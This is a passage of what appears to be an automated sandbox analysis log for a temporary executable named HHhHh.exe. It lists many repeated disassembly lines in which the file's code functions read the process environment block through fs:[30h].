Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C63FF mov eax, dword ptr fs:[00000030h]	4_2_012C63FF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE3F0 mov eax, dword ptr fs:[00000030h]	4_2_012AE3F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE3F0 mov eax, dword ptr fs:[00000030h]	4_2_012AE3F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE3F0 mov eax, dword ptr fs:[00000030h]	4_2_012AE3F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013343D4 mov eax, dword ptr fs:[00000030h]	4_2_013343D4
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013343D4 mov eax, dword ptr fs:[00000030h]	4_2_013343D4
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0129A3C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0129A3C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0129A3C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0129A3C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0129A3C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0129A3C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012983C0 mov eax, dword ptr fs:[00000030h]	4_2_012983C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012983C0 mov eax, dword ptr fs:[00000030h]	4_2_012983C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012983C0 mov eax, dword ptr fs:[00000030h]	4_2_012983C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012983C0 mov eax, dword ptr fs:[00000030h]	4_2_012983C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013163C0 mov eax, dword ptr fs:[00000030h]	4_2_013163C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0134C3CD mov eax, dword ptr fs:[00000030h]	4_2_0134C3CD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128823B mov eax, dword ptr fs:[00000030h]	4_2_0128823B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274 mov eax, dword ptr fs:[00000030h]	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128826B mov eax, dword ptr fs:[00000030h]	4_2_0128826B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01294260 mov eax, dword ptr fs:[00000030h]	4_2_01294260
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01294260 mov eax, dword ptr fs:[00000030h]	4_2_01294260
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01294260 mov eax, dword ptr fs:[00000030h]	4_2_01294260
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296259 mov eax, dword ptr fs:[00000030h]	4_2_01296259
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01318243 mov eax, dword ptr fs:[00000030h]	4_2_01318243
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01318243 mov ecx, dword ptr fs:[00000030h]	4_2_01318243
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128A250 mov eax, dword ptr fs:[00000030h]	4_2_0128A250
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A02A0 mov eax, dword ptr fs:[00000030h]	4_2_012A02A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A02A0 mov eax, dword ptr fs:[00000030h]	4_2_012A02A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013262A0 mov eax, dword ptr fs:[00000030h]	4_2_013262A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013262A0 mov ecx, dword ptr fs:[00000030h]	4_2_013262A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013262A0 mov eax, dword ptr fs:[00000030h]	4_2_013262A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013262A0 mov eax, dword ptr fs:[00000030h]	4_2_013262A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013262A0 mov eax, dword ptr fs:[00000030h]	4_2_013262A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013262A0 mov eax, dword ptr fs:[00000030h]	4_2_013262A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE284 mov eax, dword ptr fs:[00000030h]	4_2_012CE284
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE284 mov eax, dword ptr fs:[00000030h]	4_2_012CE284
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01310283 mov eax, dword ptr fs:[00000030h]	4_2_01310283
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01310283 mov eax, dword ptr fs:[00000030h]	4_2_01310283
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01310283 mov eax, dword ptr fs:[00000030h]	4_2_01310283
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A02E1 mov eax, dword ptr fs:[00000030h]	4_2_012A02E1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A02E1 mov eax, dword ptr fs:[00000030h]	4_2_012A02E1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A02E1 mov eax, dword ptr fs:[00000030h]	4_2_012A02E1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0129A2C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0129A2C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0129A2C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0129A2C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0129A2C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE53E mov eax, dword ptr fs:[00000030h]	4_2_012BE53E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE53E mov eax, dword ptr fs:[00000030h]	4_2_012BE53E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE53E mov eax, dword ptr fs:[00000030h]	4_2_012BE53E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE53E mov eax, dword ptr fs:[00000030h]	4_2_012BE53E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE53E mov eax, dword ptr fs:[00000030h]	4_2_012BE53E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0535 mov eax, dword ptr fs:[00000030h]	4_2_012A0535
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0535 mov eax, dword ptr fs:[00000030h]	4_2_012A0535
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0535 mov eax, dword ptr fs:[00000030h]	4_2_012A0535
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0535 mov eax, dword ptr fs:[00000030h]	4_2_012A0535
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0535 mov eax, dword ptr fs:[00000030h]	4_2_012A0535
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0535 mov eax, dword ptr fs:[00000030h]	4_2_012A0535
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01326500 mov eax, dword ptr fs:[00000030h]	4_2_01326500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364500 mov eax, dword ptr fs:[00000030h]	4_2_01364500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364500 mov eax, dword ptr fs:[00000030h]	4_2_01364500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364500 mov eax, dword ptr fs:[00000030h]	4_2_01364500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364500 mov eax, dword ptr fs:[00000030h]	4_2_01364500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364500 mov eax, dword ptr fs:[00000030h]	4_2_01364500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364500 mov eax, dword ptr fs:[00000030h]	4_2_01364500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364500 mov eax, dword ptr fs:[00000030h]	4_2_01364500
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C656A mov eax, dword ptr fs:[00000030h]	4_2_012C656A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C656A mov eax, dword ptr fs:[00000030h]	4_2_012C656A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C656A mov eax, dword ptr fs:[00000030h]	4_2_012C656A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298550 mov eax, dword ptr fs:[00000030h]	4_2_01298550
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298550 mov eax, dword ptr fs:[00000030h]	4_2_01298550
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013105A7 mov eax, dword ptr fs:[00000030h]	4_2_013105A7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013105A7 mov eax, dword ptr fs:[00000030h]	4_2_013105A7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013105A7 mov eax, dword ptr fs:[00000030h]	4_2_013105A7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B45B1 mov eax, dword ptr fs:[00000030h]	4_2_012B45B1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B45B1 mov eax, dword ptr fs:[00000030h]	4_2_012B45B1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C4588 mov eax, dword ptr fs:[00000030h]	4_2_012C4588
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01292582 mov eax, dword ptr fs:[00000030h]	4_2_01292582
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01292582 mov ecx, dword ptr fs:[00000030h]	4_2_01292582
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE59C mov eax, dword ptr fs:[00000030h]	4_2_012CE59C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC5ED mov eax, dword ptr fs:[00000030h]	4_2_012CC5ED
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC5ED mov eax, dword ptr fs:[00000030h]	4_2_012CC5ED
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012925E0 mov eax, dword ptr fs:[00000030h]	4_2_012925E0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE5E7 mov eax, dword ptr fs:[00000030h]	4_2_012BE5E7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE5CF mov eax, dword ptr fs:[00000030h]	4_2_012CE5CF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE5CF mov eax, dword ptr fs:[00000030h]	4_2_012CE5CF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012965D0 mov eax, dword ptr fs:[00000030h]	4_2_012965D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA5D0 mov eax, dword ptr fs:[00000030h]	4_2_012CA5D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA5D0 mov eax, dword ptr fs:[00000030h]	4_2_012CA5D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128E420 mov eax, dword ptr fs:[00000030h]	4_2_0128E420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128E420 mov eax, dword ptr fs:[00000030h]	4_2_0128E420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128E420 mov eax, dword ptr fs:[00000030h]	4_2_0128E420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128C427 mov eax, dword ptr fs:[00000030h]	4_2_0128C427
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316420 mov eax, dword ptr fs:[00000030h]	4_2_01316420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316420 mov eax, dword ptr fs:[00000030h]	4_2_01316420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316420 mov eax, dword ptr fs:[00000030h]	4_2_01316420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316420 mov eax, dword ptr fs:[00000030h]	4_2_01316420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316420 mov eax, dword ptr fs:[00000030h]	4_2_01316420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316420 mov eax, dword ptr fs:[00000030h]	4_2_01316420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316420 mov eax, dword ptr fs:[00000030h]	4_2_01316420
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA430 mov eax, dword ptr fs:[00000030h]	4_2_012CA430
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C8402 mov eax, dword ptr fs:[00000030h]	4_2_012C8402
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C8402 mov eax, dword ptr fs:[00000030h]	4_2_012C8402
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C8402 mov eax, dword ptr fs:[00000030h]	4_2_012C8402
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131C460 mov ecx, dword ptr fs:[00000030h]	4_2_0131C460
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BA470 mov eax, dword ptr fs:[00000030h]	4_2_012BA470
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BA470 mov eax, dword ptr fs:[00000030h]	4_2_012BA470
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BA470 mov eax, dword ptr fs:[00000030h]	4_2_012BA470
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE443 mov eax, dword ptr fs:[00000030h]	4_2_012CE443
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B245A mov eax, dword ptr fs:[00000030h]	4_2_012B245A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128645D mov eax, dword ptr fs:[00000030h]	4_2_0128645D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131A4B0 mov eax, dword ptr fs:[00000030h]	4_2_0131A4B0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012964AB mov eax, dword ptr fs:[00000030h]	4_2_012964AB
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C44B0 mov ecx, dword ptr fs:[00000030h]	4_2_012C44B0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012904E5 mov ecx, dword ptr fs:[00000030h]	4_2_012904E5
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130C730 mov eax, dword ptr fs:[00000030h]	4_2_0130C730
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC720 mov eax, dword ptr fs:[00000030h]	4_2_012CC720
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC720 mov eax, dword ptr fs:[00000030h]	4_2_012CC720
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C273C mov eax, dword ptr fs:[00000030h]	4_2_012C273C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C273C mov ecx, dword ptr fs:[00000030h]	4_2_012C273C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C273C mov eax, dword ptr fs:[00000030h]	4_2_012C273C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC700 mov eax, dword ptr fs:[00000030h]	4_2_012CC700
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290710 mov eax, dword ptr fs:[00000030h]	4_2_01290710
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C0710 mov eax, dword ptr fs:[00000030h]	4_2_012C0710
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298770 mov eax, dword ptr fs:[00000030h]	4_2_01298770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770 mov eax, dword ptr fs:[00000030h]	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C674D mov esi, dword ptr fs:[00000030h]	4_2_012C674D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C674D mov eax, dword ptr fs:[00000030h]	4_2_012C674D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C674D mov eax, dword ptr fs:[00000030h]	4_2_012C674D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01314755 mov eax, dword ptr fs:[00000030h]	4_2_01314755
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131E75D mov eax, dword ptr fs:[00000030h]	4_2_0131E75D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290750 mov eax, dword ptr fs:[00000030h]	4_2_01290750
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2750 mov eax, dword ptr fs:[00000030h]	4_2_012D2750
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2750 mov eax, dword ptr fs:[00000030h]	4_2_012D2750
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012907AF mov eax, dword ptr fs:[00000030h]	4_2_012907AF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133678E mov eax, dword ptr fs:[00000030h]	4_2_0133678E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B27ED mov eax, dword ptr fs:[00000030h]	4_2_012B27ED
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B27ED mov eax, dword ptr fs:[00000030h]	4_2_012B27ED
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B27ED mov eax, dword ptr fs:[00000030h]	4_2_012B27ED
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131E7E1 mov eax, dword ptr fs:[00000030h]	4_2_0131E7E1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012947FB mov eax, dword ptr fs:[00000030h]	4_2_012947FB
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012947FB mov eax, dword ptr fs:[00000030h]	4_2_012947FB
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129C7C0 mov eax, dword ptr fs:[00000030h]	4_2_0129C7C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013107C3 mov eax, dword ptr fs:[00000030h]	4_2_013107C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129262C mov eax, dword ptr fs:[00000030h]	4_2_0129262C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C6620 mov eax, dword ptr fs:[00000030h]	4_2_012C6620
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C8620 mov eax, dword ptr fs:[00000030h]	4_2_012C8620
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE627 mov eax, dword ptr fs:[00000030h]	4_2_012AE627
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A260B mov eax, dword ptr fs:[00000030h]	4_2_012A260B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A260B mov eax, dword ptr fs:[00000030h]	4_2_012A260B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A260B mov eax, dword ptr fs:[00000030h]	4_2_012A260B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A260B mov eax, dword ptr fs:[00000030h]	4_2_012A260B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A260B mov eax, dword ptr fs:[00000030h]	4_2_012A260B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A260B mov eax, dword ptr fs:[00000030h]	4_2_012A260B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A260B mov eax, dword ptr fs:[00000030h]	4_2_012A260B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D2619 mov eax, dword ptr fs:[00000030h]	4_2_012D2619
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E609 mov eax, dword ptr fs:[00000030h]	4_2_0130E609
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA660 mov eax, dword ptr fs:[00000030h]	4_2_012CA660
